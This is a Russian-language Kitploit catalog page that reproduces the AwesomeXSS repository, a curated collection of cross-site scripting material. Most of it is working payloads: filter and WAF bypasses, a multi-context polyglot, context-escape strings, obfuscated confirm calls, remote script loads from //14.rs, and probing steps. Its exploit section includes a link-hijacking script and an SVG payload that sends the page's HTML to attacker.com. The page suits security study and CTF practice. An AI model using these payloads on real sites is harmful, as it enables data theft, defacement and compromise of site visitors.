Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
AwesomeXSS — Отличные материалы по XSS | Kitploit
Инструменты/GitHubGitHub/s0md3v/awesomexss
Генерация полезной нагрузкиОбход WAFВеб-безопасностьCTFСтатьи и ИсследованияОбучение и ОбразованиеПодобранные РесурсыУчебные Маршруты и КурсыЛаборатории и Практика
GitHubs0md3v/awesomexss

AwesomeXSS

Отличные материалы по XSS

5.1k7821 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

AwesomeXSS

Этот репозиторий — коллекция ресурсов Awesome XSS. Вклад приветствуется; предложения отправляйте через issue.

Содержание

  • Челленджи
  • Статьи и презентации
  • Инструменты
  • Интеллект-карты
  • DOM XSS
  • Пейлоады
  • Полиглоты
  • Теги и обработчики событий
  • Выход из контекста
    • HTML-контекст
    • Контекст атрибута
    • JavaScript-контекст
  • Варианты confirm
  • Эксплойты
  • Методы зондирования
  • Обходы
  • Кодирование
  • Советы и хитрости

Лучшие челленджи

  • prompt.ml
  • alf.nu/alert1
  • xss-game.appspot.com
  • polyglot.innerht.ml
  • sudo.co.il/xss
  • root-me.org
  • chefsecure.com
  • wechall.net
  • codelatte.id/labs/xss

Лучшие статьи и презентации

  • Обход механизмов обнаружения XSS
  • XSS в Facebook через PNG Content-Type
  • Как я встретил твою девушку
  • Как найти 1 352 XSS-уязвимости в плагинах WordPress за один час
  • Blind XSS
  • Copy Pest

Лучшие инструменты

  • XSStrike
  • BeEF
  • JShell

Лучшие интеллект-карты XSS

Красивая интеллект-карта по XSS от Jack Masa — здесь

Лучшие материалы по DOM XSS

  • Ваш ввод попадает в приёмник? Vulnerable
  • Нет? Not vulnerable

Источник: ввод, который может контролироваться внешним (недоверенным) источником.

root@kitploit:~
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Приёмник: потенциально опасный метод, который может привести к уязвимости. В данном случае — к DOM-based XSS.

root@kitploit:~
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

Этот полный список приёмников и источников взят из domxsswiki.

Лучшие пейлоады

root@kitploit:~
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Лучшие полиглоты

Вот XSS-полиглот, который я сделал; он позволяет выйти за пределы 20+ контекстов:

root@kitploit:~
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Объяснение принципа работы — здесь

Лучшие теги и обработчики событий

  • 105 обработчиков событий с описанием
  • 200 обработчиков событий без описания

Некоторые обработчики событий, которые реже детектируются

root@kitploit:~
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Некоторые HTML-теги, которые вам пригодятся

root@kitploit:~
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Лучшие способы выхода из контекста

HTML-контекст

Пример: <tag>You searched for $input. </tag>

root@kitploit:~
<svg onload=alert()>
</tag><svg onload=alert()>

Контекст атрибута

Пример: <tag attribute="$input">

root@kitploit:~
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

JavaScript-контекст

Пример: <script> var new something = '$input'; </script>

root@kitploit:~
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Лучшие варианты confirm

Ага, confirm, потому что alert слишком избит.

root@kitploit:~
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Лучшие эксплойты

Замена всех ссылок
root@kitploit:~
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});
Похититель исходного кода
root@kitploit:~
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Лучшие методы зондирования

Если ничего из этого не сработало, загляните в раздел Лучшие обходы.

Прежде всего введите неопасную строку, например d3v, и посмотрите исходный код, чтобы получить представление о количестве отражений и их контекстах.
Теперь для контекста атрибута проверьте, фильтруются ли двойные кавычки ("), введя x"d3v. Если они преобразуются в x&quot;d3v, скорее всего, вывод экранируется корректно. Если так и происходит, попробуйте проделать то же самое с одинарными кавычками ('), введя x'd3v; если они преобразуются в x&apos;, всё пропало. Единственное, что остаётся, — кодирование.
Если кавычки не фильтруются, можно просто попробовать пейлоады из раздела Лучшие способы выхода из контекста.
Для JavaScript-контекста проверьте, какие кавычки используются. Например, если код выглядит так:

root@kitploit:~
variable = 'value' or variable = "value"

Предположим, используются одинарные кавычки ('). В этом случае введите x'd3v. Если оно преобразуется в x\'d3v, попробуйте экранировать обратный слеш (), добавив обратный слеш к своей пробе, т.е. x\'d3v. Если сработает, используйте следующий пейлоад:

root@kitploit:~
\'-alert()//

Но если оно преобразуется в x\\\'d3v, единственное, что можно попробовать, — закрыть сам тег script, используя

root@kitploit:~
</script><svg onload=alert()>

Для простого HTML-контекста пробой служит x<d3v. Если оно преобразуется в x&gt;d3v, значит, установлена надлежащая санитизация. Если же строка отражается как есть, можно ввести фиктивный тег, чтобы проверить возможные фильтры. Мне нравится использовать фиктивный тег x<xxx>. Если он удаляется или изменяется любым способом, это означает, что фильтр ищет пару символов < и >. Его можно просто обойти с помощью

root@kitploit:~
<svg onload=alert()//

или вот так (сработает не во всех случаях)

root@kitploit:~
<svg onload=alert()

Если ваши фиктивные теги попадают в исходный код как есть, используйте любой из этих пейлоадов:

root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>

Лучшие обходы

Примечание: ни в одном из этих пейлоадов не используются одинарные (') или двойные (") кавычки.

  • Без обработчиков событий
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
  • Без пробела
root@kitploit:~
<svg/onload=confirm()>

  • Без слеша (/)
root@kitploit:~
<svg onload=confirm()>

  • Без знака равенства (=)
root@kitploit:~
<script>confirm()</script>
  • Без закрывающей угловой скобки (>)
root@kitploit:~
<svg onload=confirm()//
  • Без alert, confirm, prompt
root@kitploit:~
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
  • Без валидного HTML-тега
root@kitploit:~
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
  • Обход чёрного списка тегов
root@kitploit:~
</ScRipT>
</script
</script/>
</script x>

Кодирование

Советы и хитрости

  • http(s):// можно сократить до // или /\\ или \\.
  • document.cookie можно сократить до cookie. Это применимо и к другим DOM-объектам.
  • alert и другие всплывающие функции не требуют значения, так что хватит делать alert('XSS') и начните делать alert().
  • Для закрытия тега вместо > можно использовать //.
  • Я заметил, что confirm — наименее детектируемая всплывающая функция, так что хватит использовать alert.
  • Кавычки вокруг значения атрибута не обязательны, если оно не содержит пробелов. Можно использовать <script src=//14.rs> вместо <script src="//14.rs">.

Благодарности

Все пейлоады созданы мной, если не указано иное.

Скачать инструмент
HTMLСимволNumericОписаниеHexCSS (ISO)JS (Octal)URL
&quot;"&#34;кавычкаu+0022\0022\42%22
&num;#&#35;знак номераu+0023\0023\43%23
&dollar;$&#36;знак доллараu+0024\0024\44%24
&percnt;%&#37;знак процентаu+0025\0025\45%25
&amp;&&#38;амперсандu+0026\0026\46%26
&apos;'&#39;апострофu+0027\0027\47%27
&lpar;(&#40;левая круглая скобкаu+0028\0028\50%28
&rpar;)&#41;правая круглая скобкаu+0029\0029\51%29
&ast;*&#42;звёздочкаu+002A\002a\52%2A
&plus;+&#43;знак плюсаu+002B\002b\53%2B
&comma;,&#44;запятаяu+002C\002c\54%2C
&minus;-&#45;дефис-минусu+002D\002d\55%2D
&period;.&#46;точкаu+002E\002e\56%2E
&sol;/&#47;косая черта (слэш)u+002F\002f\57%2F
&colon;:&#58;двоеточиеu+003A\003a\72%3A
&semi;;&#59;точка с запятойu+003B\003b\73%3B
&lt;<&#60;знак «меньше»u+003C\003c\74%3C
&equals;=&#61;знак равенстваu+003D\003d\75%3D
&gt;>&#62;знак «больше»u+003E\003e\76%3E
&quest;?&#63;вопросительный знакu+003F\003f\77%3F
&commat;@&#64;знак «at»u+0040\0040\100%40
&lsqb;[&#91;левая квадратная скобкаu+005B\005b\133%5B
&bsol;\&#92;обратный слешu+005C\005c\134%5C
&rsqb;]&#93;правая квадратная скобкаu+005D\005d\135%5D
&Hat;^&#94;циркумфлексu+005E\005e\136%5E
&lowbar;_&#95;нижнее подчёркиваниеu+005F\005f\137%5F
&grave;`&#96;грависu+0060\0060\u0060%60
&lcub;{&#123;левая фигурная скобкаu+007b\007b\173%7b
&verbar;|&#124;вертикальная чертаu+007c\007c\174%7c
&rcub;}&#125;правая фигурная скобкаu+007d\007d\175%7d
  • Самый короткий XSS-пейлоад для HTML-контекста — <script src=//14.rs> (19 символов).